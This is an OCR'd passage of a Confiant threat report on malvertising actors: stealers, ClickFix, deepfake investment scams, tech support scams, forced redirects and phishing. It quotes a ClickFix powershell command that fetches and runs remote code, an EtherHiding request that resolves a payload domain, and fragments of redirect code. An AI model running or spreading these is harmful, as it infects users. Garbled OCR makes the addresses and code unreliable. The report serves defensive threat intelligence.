e \Vidar Stealer

EtherHiding (on-chain payload
resolution):

POST

{"method":"eth_call","params":[{"to":"OxAldecFB75C
8COCA28C10517ce56B710baf727d2e","data":"0x6d4
ce63c"},"latest"],"id":97,"jsonrpc":"2.0"}

1. method: "eth_call"

This tells the Ethereum node: simulate a call to a

contract function, returning what the function

would return if executed at the current chain state.

Unlike eth_sendTransaction, this doesn't modify

state.

2. to:
0x33830cCEc1a25a55Fc971B127Fc41188F3C
349b0"

This is the smart contract being queried.

3. ."data":"Ox6d4ce63c"

4, params[0].data The encoded function call:
Ox6d4ce63c

This is the first 4 bytes (function selector) of a

contract method's keccak256 hash - It identifies

which function is being called - it's a get()

RESPONSE

{"jsonrpc":"2.0","id":97,"result":"0x0000000000000
0000000000000000000000000000000000000000
0000000002
0000000000000000000000000000000000000000
000000000000000000000a4085a6e567559335270
6232346763325630513

2397661326¢6¢4...

= final malicious domain

qiuy\.org
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CONFIANT

A sophisticated malvertising operator that leverages
eX cloaking and Malware-as-a-Service to deliver payloads

like the Atomic macOS Stealer and banking trojans.

Welcome to Notion - Notion: Your
Workspace - Notion App for Mac &.

< Ad Creative >

( Cloaked Landing Page > ( Uncloaked ClickFix Landing Page )

Malware:
Atomic macOS Stealer (AMOS)
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@ CONFIANT
A traditional malvertising operator that leverages
eX cloaking and Malware-as-a-Service to deliver payloads

like the Atomic macOS Stealer and banking trojans.

Actor Overview:

e Threat type: Malware-as-a-Service.

Primary TTPs:

e Traditional cloaking: actors serve
“harmless” content to scanners and
crawlers while delivering malicious or
deceptive content to real users.

e Loader malware: initial infection vector
delivered via malicious ads; designed to
download and execute follow-on payloads
(credential stealers, ransomware, miners).

e Malware-as-a-Service (MaaS) usage:
observed payloads delivered via MaaS
offerings — actors rent or integrate
third-party loader services, benefiting
from regular updates, support, and
modular payload delivery.
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CONFIANT

A multi-stage redirect operator that exploits compromised ad

[ ]
B e | | a I rI X inventory funnels to deliver ClickFix, tech support scams,
and infections.

Best Auto Body Shop in o
Winchester, VA

amazon [ o0 B ) %
S

Shop Amazon Devices
with Alexa

alexa & holisticurgentcare.com
)

Prime Video Customers' most-

loved Press the key combination ¥ + R and then CTRL + V, then press Enter.

Retry

men's fashion Men's fashion

% holisticurgentcare.com needs to review the security of your connection before proceeding.
! -

( Decoy Amazon Redirect > < ClickFix Landing Page >
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BellaTrix

A multi-stage redirect operator that exploits compromised
websites that have an ad inventory to deliver ClickFix, tech
support scams, and infections.

Actor Profile:

Threat type: Malware-as-a-Service.
Persistence: High — active for many
years, constantly adapting.
Targeting: Not specified in available
data.

Primary TTPs:

Website compromises: attackers
takeover legitimate sites to host or
deliver malvertising and payloads.
ClickFix: a social engineering attack
that tricks users into unknowingly
execute commands or downloads via
fake CAPTCHAs, “fix" prompts, or
copy-paste steps.
Malware-as-a-Service (MaaS) usage:
observed payloads delivered via Maas
offerings — actors rent or integrate
third-party loader services, benefiting
from regular updates, support, and
modular payload delivery.

Redirects: scripts or ad creatives that
automatically forward a user’s browser
to another URL.

Domain churn: rapid creation, use, and
abandonment of domains to host
payloads or landing pages, making
takedowns ineffective.

Decoy redirects: logic that first sends
scanners or low-value requests to
benign “decoy” pages while routing
targeted users to malicious
destinations.

Notable Campaigns:
(March-April 2025):

Delivered ClickFix payload via
Cloudflare-themed fake captcha.
Malicious clipboard script: powershell
-w h "curl jupiters.cc/sign/ws|iex"
Used decoy Amazon redirect pages in
attack chain.

Reference:

Infoblox Threat Intelligence: "Vextrio's
Origin Story: From Spam to Scam to
Adtech" -
https://blogs.infoblox.com/threat-intelli
gence/vextrios-origin-story-from-spam
-to-scam-to-adtech/
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https://blogs.infoblox.com/threat-intelligence/vextrios-origin-story-from-spam-to-scam-to-adtech/
https://blogs.infoblox.com/threat-intelligence/vextrios-origin-story-from-spam-to-scam-to-adtech/

Threat Type:
Investment Scams

Actors profiled here:

1. FaiKast
2. Up481

From crypto schemes to bogus trading platforms,
investment scams prey on trust and greed at scale.
Pushed through deceptive creatives, they siphon billions
of dollars globally while leaving users with empty
wallets and publishers with credibility loss.
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CONFIANT
e An investment scam operator built on Al that deploys
a I a S deepfakes impersonating European politicians and
journalists to front fake crypto platforms.
Deep Fake Video
Ad Creatives
FE . _
‘ &=
( sivetee i) 2
300€
‘ - et
300€ o e
|
81.009
— us”'avi’s DIESES PROGRAMM IST NUR FUR 130 NEUE MITGLIEDER
VERFUGBAR. INVESTIEREN SIE UND BEGINNEN SIE
A Trustpilot

NOCH HEUTE, €20.000 PRO MONAT ZU VERDIENEN.

( Cloaked Landing Page > ( Uncloaked Landing Page >

@® DONATE|+  ADOPT |+
OURWORK  GET INVOLVED  ABOUT US

SeNionde

VIDEOS DEBATS

a ACTUALITES ECONOMIE LEGOOT DU MONDE SERVICES

'MON PROJET FINANCIER POUR LES RESIDENTS FRANGAIS
ToUT

RANGAIS QUI INVESTIT 250 € DAKS CE
PROJET BECEVR E

DES LE PREMIER MDIS
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https://docs.google.com/file/d/1I6d6FUAkeQkGibQRLkoiP_V6dyaQfjkm/preview
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https://docs.google.com/file/d/1ccjB7j50uurYc9rG7NG88zo8nOCCpAGI/preview
https://docs.google.com/file/d/18zMWBbOcGRPl8i3LG_-8MqdozzIgnxSG/preview
https://docs.google.com/file/d/10-zITdE0vBMrnC-hQtgiD5bmWrS25jNu/preview

An investment scam operator built on Al

(]
that deploys deepfakes impersonating
a S a I European politicians and journalists to front

fake crypto platforms.

Actor Overview:

e Threat type: Investment scams.

e Persistence: Emerged in 2024,
growing quickly through H1 2025.

e Targeting: Global; notable campaigns
in Europe, North America, and APAC.

Primary TTPs:

Deepfakes: Al-generated content of
financial experts, politicians, and
celebrities used in ad creatives.

Synthetic audio/video:
impersonations to increase user trust.

Cloaked landings: benign “finance
tips" or “wellness advice" pages for
scanners; scam investment or
miracle-cure funnels for users.

Domain churn: rapid creation, use,
and abandonment of domains to host
payloads or landing pages, making
takedowns ineffective.
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CONFIANT

A top investment scam cluster using Al-generated
p deepfakes of European political figures to promote

fake cryptocurrency platforms.

< Ad Creative >

< Landing Page Containing a deep fake video hosted on youtube )

|

409 Skandal live im Fernsehen

Watch on (28 YouTube & j |

Watch later Share

(it's still live)

DIE REGISTRIERUNG FUR DAS PROGRAMM
IST UNTER DEM VIDEO VERFOGBAR

(v

AUS 250 & WERDEN 25.000€ IN NUR EINEM
MONAT MIT EINER STAATLICHEN FORDERUNG

Detaillierte Projektinformationen finde
auf unserer Webseite.

LESEN SIE MEHR UBER DAS PROJEKT...
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A top investment scam cluster using Al-generated
p deepfakes of European political figures to

promote fake cryptocurrency platforms.

Actor Profile: Notable Campaigns:
e Threat type: Investment scams (Al e Campaign: ssixxfres.tilda.ws
deepfakes and impersonations).
e Persistence: High — active for many o Deepfake video uploaded to
years with evolving obfuscation YouTube (still active):
techniques. youtube.com/watch?v=PTOHmMNuY
mkc&t=11s

e Targeting: Europe (politicians and

journalists from European countries). . L\
J P ) e Multiple European politicians and

journalists had their likeness used for
deepfake video ad creatives

Primary TTPs:

e Al-generated deepfakes: realistic
synthetic audio/video that depicts
prominent European political figures
making statements, endorsing
investments, or warning of urgent
opportunities.

e Cloaked investment scams: landing
pages, ads, and funnels that present as
legitimate investment products but hide
malicious intent after user trust is built.

e Concentrated attacks: highly focused
delivery windows aimed at specific
countries, constituents, or demographic
cohorts to create urgency and
overwhelm detection.
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CONFIANT

Threat Type:
Tech Support Scams

Actors profiled here:

1. QuizTSS
2. WildeTSS
3. Aalgmor

A long-running staple of malvertising, tech support
scams weaponize urgency. By hijacking the browser
with fake error messages and system alerts, attackers
coerce users into calling fraudulent call centers — a
low-tech tactic with high return.
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QuizzTSS

Example domain:
olerisonline.web.app (Ads)

P

Click To
continue

Click It To Continue

QuizTSS continues to iterate with faster domain
churn, experiments with cloaking, and fresh TTPs.

Olerisonline.web.app
(Cloaked Landing Page)

OlerisOnline o o ot Gt

Our Interior Solutions

We Use Cookies

Olerisonline.web.app
(Landing Page)

Olerisonline.web.app
(TSS Destination)

Olerisonline.web.app
(Redirect Code)

B 200 GET olerisonline. web.app

138ns | 42.63KB Complete

I7gad_s I 12;
M 200 GET sstatic1. histats.com /0.gif?4973047&101 12: 223ms  1.68KB Complete
x GET  33036330363303270815.213:webcore windows... fndeximl 10m 2.2806 Falled
x GET  33036330363303270816.213.webcore windows... findex i
oe Consent Modal -->
x GET  €33033303¢3303270816.213.web.core.windows... findexh
= GET 13.web. d [index.hi Qb d_campaig & | <script> #  "<i--Cookie Consent Modal --> @
x GET  €330363303¢3303270816.213.web.core.windows... findex s
B GET  c33036330363303270816.13 neb.core vindows.. fdex " AL
x GET  330363303¢3303270816.213.web.core.windows... fndex. 7 consent.in nenary (since localStorage isn't available)
x GET ©3303e3303e3303270816.213.web.core.windows... findex.h! 3 . +1og(!Cookies accepted - initializing tracking...’);
x GET  33036330363303270816.713:webcore windows.. fndex.n
x GET 23303e3303e3303270816.213.web.core.windows... findex function denyCookies() {
® O 33036330363303270816.13 web.coremindows.. fndexc S gl
x GET  e33036330303303270816.213.web.core windows... findexn US(A7 Cookies denied, "denied");
i /7 Here you would typically:
it 71 = Disaile non-estential cookies
Run in privacy mode
ceT p—— X 71  Stare denial preference in memory
overview (NN SSt Summary Chart Notes A A 9L petvacy )
method GET // Mouse move redirect functionality
authority.olerisonline.web,app function handieMousehiove() ¢
it (nouseRedrectEnabled) {
R // Redirect to home.html when mouse moves
:path [2gad_source=58gad_campaignid=22¢ indow. location.href = 'https: 13, 2B d t/index.htnl';
sec-ch-ua "Not;A=Brand";v="99", "Google Chron 3y +
sec-ciiaemobile 20
i g LS 17 hst mouse move event steer for resirect <o o, il
QueryString  Raw location.href = 'https: 13. e, dows . net/index. html';
474 style: n;
475 // Add cl. rent listener for redirect to cookiecheck.php
76 | </imas et : Vick', funciont) € -
a7 Fioa bret s (hrtost 13,6, dows et dndex.
7 eseripe »i
70 docunent.write(unescape(
SCA21A20A20A 2034 A6 F RGP G o 1/ Prevent modal fron closing when clicking on it
o PySelector (" cookie-consent-nodal"). ddEventL istener('click', functionte) {
[ n;
o // Close modal when clicking overlay (optional)
o scuent.getElenentBy d( cookieconsentovertay ). addeventL istener (*click', function(e)
5 it (e-target
s 77 optionally close on overlay click
v 71 Widecookiecansent():
Aa | % Te ind n;
Headers Text Hex HTML Raw
* Aa O web
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@ CONFIANT

QuizTSS continues to iterate with faster domain
churn, experiments with cloaking, and fresh TTPs.

QuizzTSS

Actor Profile:

e Threat type: Tech support scams
(traditional tech support scams with
adaptations).

e Persistence: High — consistently
active with domain churn tactics.

e Targeting: US and Japan (preferred
GEOs).

Primary TTPs:

e Cloaked landings: benign webpages
for scanners; fake store sites for users.

e Domain churn: rapid creation, use, and
abandonment of domains to host
payloads or landing pages, making
takedowns ineffective.

e Tech support scam: tricks users into
believing their devices are infected or
malfunctioning to coerce them into
giving remote access, installing
malware, or paying for fake support
services.

Notable Campaigns:
""Cookie"” Campaign

Beyond its primary fake store .site TLD
campaigns, we've seen the QuizTSS threat
continue to create new pages with different
redirect mechanisms to support its tech
support scams.

The threat will wait for the user to interact
with the cookie html modal and will then
direct to its tech support scam page.

“Continue Button” Campaign

A new cluster leverages old tactics — a
green continue button landing page.

The page also requires user input to lead to
its scam, such as a mouse move or tap on
mobile.

Afterwards, the green code from the landing
page initiates a POST request which sends
victim fingerprint info and responds with the
encoded redirect payload.
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2 A novel French tech support scam cluster that uses
I e browser text-to-speech to create dramatic, convincing

prompts that turn routine browser messages into scams.

( Ad Creatives

Récupérez vos frais médicaux rapidement et sans
effort |

) MEDICIO

il

7 ; % Lor_M di I
Y rem ipsum dolor sit amet cons tur aqlplsSmg elit, sed do eiusmod tempor incididunt ut

labore et dolore magna ahquq' Ut-emmad nnmmv&mam quis nostrud exercitation ullamco
laboris nisi ut i Uiplexea cpg"modo consequat.

( TSS Video >

Google
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@ CONFIANT

® A novel French tech support scam cluster that uses
I e browser text-to-speech to create dramatic, convincing
prompts that turn routine browser messages into scams.

Actor Profile: Notable campaigns:
e Threat type: Tech support scam This TSS cluster has used APIs like
(region-specific campaigns). SpeechSynthesisUtterance, which is a

create spoken audio from text using the

focus, persistent tactics. .
browser’s text-to-speech (TTS) engine.

e Targeting: Highly localized to France.

These campaigns are highly localized to

Primary TTPs: France and often include added dramatic
effects — like a shake animation — to further
e Cloaked landings: benign healthcare trick users.

webpages for scanners; fake scam
sites for users.

e Tech support scam: tricks users into
believing their devices are infected or
malfunctioning to coerce them into
giving remote access, installing
malware, or paying for fake support
services.
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A long-running native ad tech support scam

l \a I g I I l O r operator that leverages clickbait-style content

to lure users into fake support flows.

< Ad Creative >

Abandoned Vessel That
Washes up on Ireland's Coast
Has a message within

l l

< Landing Page without Modal > < Landing Page with Malicious Modal >

Cookies Settings

m Preferences

< Tech Support scam >

Call upport for el
(Ows Support 0204 602 4416

Investment Scam

MAQ Index H12025 Confiant ©2025 61



A long-running native ad tech support scam

Aa | I I l O r operator that leverages clickbait-style content
to lure users into fake support flows.

Actor Profile:

Threat type: Tech support scams.
Persistence: Medium-High — regional
focus, persistent tactics.

e Targeting: Not specified in available
data.

Primary TTPs:

e Cloaked landings: fake blog-style
landing pages and low-quality native
ads are delivered to targeted users.

e Tech support scams: malicious
modals disguised as ad-block or
cookie controls.

Notable Campaign:

Aalgmor has mastered the art of persisting
by reproducing clickbait driven native ads
and landing pages.

Confiant first detected the actor in July
2022, and has become one of the largest
sources of tech support scams.

The last detection was July 2025 with the
TSS found hidden behind fake modals
such as ad-block or cookie control
buttons.
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Threat Type:
Forced Redirects

Actors profiled here:

1. ScamClub
2. DCCBoost
3. D-Shortiez

Forced redirects lure users to malicious sites without
their knowledge. This tactic drives scams, phishing,
and malware delivery, exploiting trust and user
behavior at scale.
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ScamClub

5:42 8 i LTE 25¢

amazon

Congratulations!
You are randomly selected to participate in this

Congratulations!

& fortunepath.icu

& ap ® .

v § X [ Program Google dozachetyuz X+
€ c % pl-7778/global-bb.php! T4Sch % & Inogito
@ )Y LY ‘ » ‘L."\I LS A I T BLE L Yo »

$roda Maj 28, 2025

Szanowny Kiiencie Google,

Gratulujemy! Jg

Google

& jednym ze 100 uzytkownikow, ktérych wybraliémy, zeby daé.im
szanse na wygranie Samsung Galaxy $23, Apple iPhone 15 Pro, Karta
podarunkowa Shein o wartosci 750 dolaréw, Karta podarunkowa Shell na 250
dolaréw na paliwo, Tajemnicza elektroniczna skrzynka b iPad Pro

1845
05005

A persistent forced redirect operator that
leans on obfuscated JavaScript and device
fingerprinting to deliver gift card scams.

will 56+ @ 16:27

fortuneshero.click (O 23 fortuneshero.click/bo

& norton

Quick Scan

+ Norton Antivirus

Scanning commonly and startup src

Quick Scan

Scanning comm:

ed ai

¥.40100%

+ ®

scanned:

31

CONFIANT

oy 8.y 225

Do Vg Mobie st

a8 Gl Car HEXCLAD YBRI COOKWARE ST .
enbership o Nt

[ —

Wednesday, May 28,2025
Dear ATAT customer:

Congratuations! You are on
an Apple iPhone 15 Pro, Samsung Galaxy $23, Shein $750 GiftCard, $250 Gas.
GiftCard, Walmart $1000 Gift Card, Amazon $500 Gift Card, Apple Store $500
Gift Card, Visa $1000 Gift Card, $750 Cash App Gt Card, 100 cash after
leaving areview to our products or 3 years offree membership o Netfix.

Alyo doto quality i answerthe foloning 9 questions.
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ScamClub

scareware.

A persistent forced redirect operator that
leans on obfuscated JavaScript and device
fingerprinting to deliver gift card scams and

Actor Profile:

Threat type: Forced redirects.
Campaign Themes: Gift cards, fake
security scans (Norton, AT&T,
Amazon).

Targeting: NA-heavy, but global
footprint across mobile & desktop.

Primary TTPs:

Fake ad servers with obfuscated
JavaScript: injects fake ad-serving
domains into ad delivery chain that
often hide malicious scripts within
obfuscated JavaScript.

Fake ad creative: uses deceptive or
spoofed ad designs to mimic legitimate
brands or system messages.

Device fingerprinting: collects
detailed browser, system, and network
attributes to hide from ad-quality
scanners.

Forced redirects: triggers a
top.location.href redirect which results
in a hijacked browser session without
user interaction. Users may be
redirected to:
gift-card/giveaway/reward-style scam
phishing pages. In some cases, abuses
brands like Amazon and Walmart (with
fake gift-card promotions).

Impacts all mobile and desktop
devices: iPhone, Android, Windows,
macOS.

Ongoing Disruption Efforts from
Confiant in 2025

Confiant has contacted multiple hosting
providers including NameSilo, Google
Cloud, Azure, and HiVelocity for take down
requests—rtb3601[.]click was taken down
on July 15, 2025.

ScamClub has now switched to
masterbidder[.]xyx at full-scale. We filed an
abuse report with .xyz registrar and it was
taken down on July 16, 2025.

The actor then pivoted to go2x[.]xyx and
yourluckyday[.]xyz, but both were taken
down as well.

NameSilo contributed to the take down of
several other domains since then.

References:

° July 15 2025 | #Malvertising #10C dump
www.linkedin.com/pulse/malvertising-ioc-dump-m
y-threatintel-connections-eliya-stein-dosye/?track

ingld=6vh % 2BdEIASIURFPO9acR81w % 3D %3D
° Sep 27, 2023 | ScamClub Threat Intelligence

Report Overview
www.confiant.com/news/scamclub-threat-intellige
nce-report-g1-92-2023

e 2023 Confiant ScamClub Takedown Webinar
www.youtube.com/watch?v=zqFzJ2_dggk

° Oct 26, 2023 | ScamClub's Deceptive Landing
Pages
https://blog.confiant.com/scamclubs-deceptive-la
nding-pages-bf7989b388d2

° Sep 27,2023 | Exploring ScamClub Payloads via
Deobfuscation Using Abstract Syntax Trees
blog.confiant.com/exploring-scamclub-payloads-v

ia-deobfuscation-using-abstract-syntax-trees-65e
7412537
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CONFIANT

A stealthy operator running forced redirect
O O St campaigns, using sophisticated obfuscation

tactics to maximize reach with minimal detection.

< Landing Page >

ft5z2rybi.monster says

SCAN IN PRO!

U McAfee | Total Protection

You Are At Risk
WARNING!

Your Windows is infected with Viruses and other malicious applications. Viruses must be
removed and system damage repaired.

It is necessary to run the Virus I p i I please p d.

**If you leave this site your ¢ will remain d d and

[ ] B

Unprotected Unprotected Unprotected

SUBSCRIPTION STATUS
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@ CONFIANT
A stealthy operator exploiting ad placements
OOSt through advanced cloaking and obfuscation
tactics to maximize reach with minimal detection.

Actor Profile: Notable Campaigns:
e Threattype: Forced redirects Confiant has been tracking DCCBoost since
(industrialized exploits). 2019. In 2023, the threat actor was
discovered running a forced redirect
e Persistence: High — Confiant tracking scareware campaign, exclusively targeting
since 2019, always active. the United States on desktops. DCCBoost

had been using fake McAfee scareware
attacks since 2021. In July 2025, we
discovered 140 indicators of compromise
(I0Cs) over a span of 7 days.

e Targeting: Not specified in
available data.

Primary TTPs: DCCBoost runs large campaigns every 6
weeks to 2 months.
e Fake ad creative: uses deceptive or

spoofed ad designs to mimic legitimate
brands or system messages.

e Forced redirects: triggers an References:
automatic browser redirect without e  Mar 14, 2023 | Threat Intelligence Red Button
user interaction, sending users to Security Alert: DCCBoost Attacks
scam, phishing, or malware pages. Zvlz/:w.conflant.comznews[dccboost-lncreased-atta
e  Obfuscation: sophisticated e Jul6, 2023 | Confiant Discovers Increased
coding/data tactics that both humans RCCBoost AttagksIn The WS A
and automated scanners struggle to Zvlz/z\_/\iliir;gant.com/news/dccboost-lncreased-atta
read or analyze. . Jan 19, 2021 | Persistent malvertising attacker
e Domain churn: daily rapid creation, DCCBoost raged as the year faded
use, and abandonment of domains to e s
host payloads or landing pages, f

making takedowns ineffective.
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D-Shortiez

ON:STORE

MUST-HAVE
DRESSES

Get the
floral look

See Collection

y
Isabel Marant Etoile
oluxury

E | |
NEW SEASON
COLLECTION

( Ad Creatives >

CONFIANT

A forced redirect operator delivering gift card
scams and tech support scams that ran high
volume campaigns in 2025.

v.modanova.shop

5 GO qﬂ¢

Online Reward Program

’
You've made the 5-billionth LB
search. 3 Lr with Windows

O CC

( Landing Pages >

IOCs

modanoval.lshop, retroflair[.]shop, trizon[.]shop, fashnlab[.]shop, stylewesiren[.]online, cozycouchl.]store,

trendystylewe[.]shop, urbanpulsee[.]shop, velvetshoes[.]online, hypevault[.]online,
chicdressingroom[.]store,, sneakerhaus|.]Jonline, modavitawel[.]shop, styleora[.]nomes, shefashion[.]homes,

aexone[.]online, chicboutique[.]homes, novvia[.]shop, stylewehivel[.]store, velvetroseboutique[.]shop
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D-Shortiez

A forced redirect operator delivering gift card
scams and tech support scams that ran high
volume campaigns in 2025.

Actor Profile:

Notable Campaigns in 2025:

e Threattype: Forced redirects. Confiant first pushed a Red Alert
notification for our clients on June 23,
2025. Many of the domains detected
were suing Namecheap — who was later
contacted.
Primary TTPs: . . :
We are seeing most activity coming from
° Fake ad creative: uses deceptive or the Outbrain DSP. Outbrain did note that
spoofed ad designs to mimic their investigation into ongoing Shortiez
e Fake ad servers with obfuscated campaigns was active.
JavaScript: injects fake ad-serving . .
domains into ad delivery chain that Ne_W campaigns continue to appear
often hide malicious scripts within daily.
obfuscated JavaScript.
e Device fingerprinting: used to hide
from ad quality scanners.
e Forced redirects: triggers a
top.location.href redirect which results
in a hijacked browser session without
user interaction. Redirects load either a References:
TSS (tech support scam), scareware,
browser locker, or a confetti-style fake g aFl:i?sjs%ltl):SI(litl\S:::va;:Sttec:n E}’ﬁ:?lfritr:ez
"you have won" scam page. forced-redirect campaign
e Impacting all mobile and desktop blog.confiant.com/malvertiser-d-shortiez-abu
devices (iPhone, Android, Windows, ses—webkit-.back—button-hi'ack—in-forced—redi
rect-campaign-6b57f91ee73
macOS).
e Impacting mostly the United States and e  Jul2,2025 | D-Shortiez: Inside the Criminal

in some cases, Canada.

Network Behind Those Fake 'You Won!'
Pop-Ups
www.confiant.com/news/the-criminal-group-
behind-those-fake-youve-won-messages-an
d-more

. July 15 2025 | Malvertising I0C dump on
LinkedIn
www.linkedin.com/pulse/malvertising-ioc-du
mp-my-threatintel-connections-eliya-stein-do

sye/?trackingld=6vh % 2BdEIASIURFPO9acR81
w%3D%3D
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Threat Type:

Cloaking

Actors profiled here:

1. GoulashPoison
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A cloaked health scam operator

[ ]
G O u | a S h I O I SO n that uses cloaking to push health
products.

( Ad Creative > < Ad Creative >

Un vaso antes de dormir .
METaPOPPWOTE TO CWHA 0as TWpa

-,

l l

( Cloaked Landing Page ) ( Uncloaked Landing Page >

Spaish ngish

EL&ESPANOL

"iSe deshincho ante mis
ojos!" Vicky contd c6mo
adelgazo 18 kg en so6lo dos
meses y jmostro su vientre
plano!

IGEMA

«Ze@oUoKwoE PNpooTd ota pdmia
pou!» O Karepiva Zapipn anoxdAuye
neg éxaoe 25 KIAG péoa oe pévo 2

priveg kan é8ei€e Tnv eninedn koikid
Tou!
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GoulashPoison

@ CONFIANT

A cloaked health scam operator
that uses cloaking to push health
products.

Actor Profile:
e  Threat type: Cloaking.

e Persistence: Not specified in
available data.

e Targeting: Not specified in
available data.

Primary TTPs:

e Cloaked landings: scam campaigns
and pages pivoted from investment to
health-related verticals. Has the ability
to use compromised websites for scam
distribution but also operates its own
hosted domains for direct campaigns.

Notable Campaigns:

Initially running ad campaigns resembling
typical cloaked investment scams, the
group has pivoted to health-related scams
as of April 29, 2025.

While most of this threat group's activity
occurs on compromised websites used to
deliver scams, it also operates its own
hosted domains.

Their ability to use cloaking tactics is a
sophisticated way to bypass policies set
by ad platforms on health products.
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Threat Type:
Phishing & ldentity

Actors profiled here:

1. PiranhaCPF

Phishing ads turn the open web into a harvesting
ground for credentials and personal data. By mimicking
trusted brands and services, these campaigns erode
user confidence while fueling downstream fraud,
account takeovers, and identity theft.
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® A Brazilian identity theft operator focused on
I ra n a high-value targets such as PIl and banking

credentials that leads to fraud and financial loss.

( Ad Creative ) ( Ad Creative >

Comunicado Oficial
Nubank

R$400/DIA
GARANTIDO

Construgao Civil

] ¥
R$400 por dia

£ : CLIQUE EM SAIBA MAIS

Pega o seu novo empréstimo

Aproveite Agora! Empréstimo de até 30 com a Nubank
mil reais!

neiro de 2026! Langamento com limites de.
juros, disponiveis até mesmo para

Comece a pagar
crédito R$10 mil

independéncia i

Bank Phishing: Bradesco bank
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@ CONFIANT
e A Brazilian identity theft operator focused on
I ra I l a high-value targets such as Pll and banking

credentials that leads to fraud and financial loss.

Actor Profile: PiranhaCPF typically leverages bank

r Pll phishing:
e  Threat type: Phishing Y, phishing

(region-specific campaigns). A few domain examples used for bank

e Persistence: Medium-High — phishing include:

regional focus, persistent tactics. " Consultaprseg[.]site,girardip[.]shop

e Targeting: Brazil (CPF numbers, )
banking, government services). e  Ganheagoraavliando.shop

These domain uses have been partially seen
on Google Cloud ASN.

Primary TTPs:
Pll phishing tactics seen feature
e Bank phishing: targeted campaigns instant-payment identifiers such as phone,
against major Brazilian institutions e-mail, CPF, or random key.

that tricks users into revealing login
credentials, one-time passcodes, or
approving transactions. Often uses

legitimate-looking government and

postal service themes.

e Pll phishing: targeting Brazilian
taxpayer IDs (CPF numbers) through
deceptive forms, fake government
portals, or social-engineering flows.
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The more
technological a
socilety Is, the greater
the security gap is.

— Bruce Schneier
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Trust is a
Verb

The MAQ Report doesn't just point out
what's broken. It shows where we can
do better. Every number here represents
a decision: to ignore what's happening or
to step in.

By tracking what moves through ads, we
start to see how trust is built or lost
across the internet.

We share this because transparency is
where progress begins. When we
measure, we learn. When we learn, we
improve. And when we do it together,
trust stops being an idea and starts
becoming action.

Trust is a work in progress. It's
something we do. One decision, one
partner, one impression at a time.
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Appendix

MAQ Index H1 2025 Confiant ©2025 78



Glossary:
Quality Violations

Non-security issues related to ad behavior, technical

characteristics, or content.

z
=
*

Heavy Ads (file weight)
Ads with large file sizes that slow
pages and hurt performance. Drives

latency, complaints, and lost revenue.

Video Arbitrage (formerly

In-Banner Video)

Bad actors stuff one or more video
players into a display slot — often
stacking — to farm higher video
spend from a low-cost banner buy.
Wastes budget and degrades UX.

Misleading Claims

Ads that use deceptive language or
imagery to push dubious
products/services (e.g., "get rich

quick,"” fake celebrity endorsements).

Erodes credibility and invites
complaints.

Undesired Audio

Audio that auto-plays as soon as the
page or ad loads. Interrupts sessions
and spikes abandonment.

Undesired Video

Video that auto-plays on load.
Hijacks attention, slows pages,
and hurts engagement.

Expandables

Creatives that expand beyond
their slot without user interaction
(or start expanded). Obstruct
content which reduces trust.

Pop-ups

Windows/ads that appear in the
foreground without user intent.
Intrusive experience and higher
bounce.
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Glossary:
Security Violations

Cloaking R Phishing / Identity Theft

@ Creative or landing page that shows - Ads leading to fake login pages
different content to reviewers vs. =] or government portals that steal
users. Often used to sneak credentials or IDs.

gambling, health, or investment
scams past filters.

Malware-as-a-Service

(MaaS)
ClickFix Criminal “subscription services"
Weaponized prompt (captcha, PDF, where threat actors rent
‘ I FedEx) that tricks users into copying malware infrastructure to others.

malicious code - installs malware.

= Forced Redirect
Ad that hijacks the browser and
—_—~—— - sends the user to an unsafe page.

Tech Support Scam (TSS)
\
Fake warnings, pop-ups, or voice
D\ prompts pushing users to call

scammers or install remote access
tools.

55 Deepfake Ads
D \ Al-generated video or image
- ; impersonating trusted figures
(politicians, journalists, doctors) to
push scams.
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About

Confiant is cybersecurity built for advertising. We provide
real-time intelligence and precise controls that detect and
block malvertising, scams, disruptive creatives, and
compliance risks before they reach users. By disrupting
the business models of bad actors, Confiant empowers
digital media to enforce standards, ensure quality, and
uphold trust across the ecosystem. We protect what
matters most — revenue, reputation, and relationships —
securing the foundation that allows good advertising to
thrive.

( Learn More )
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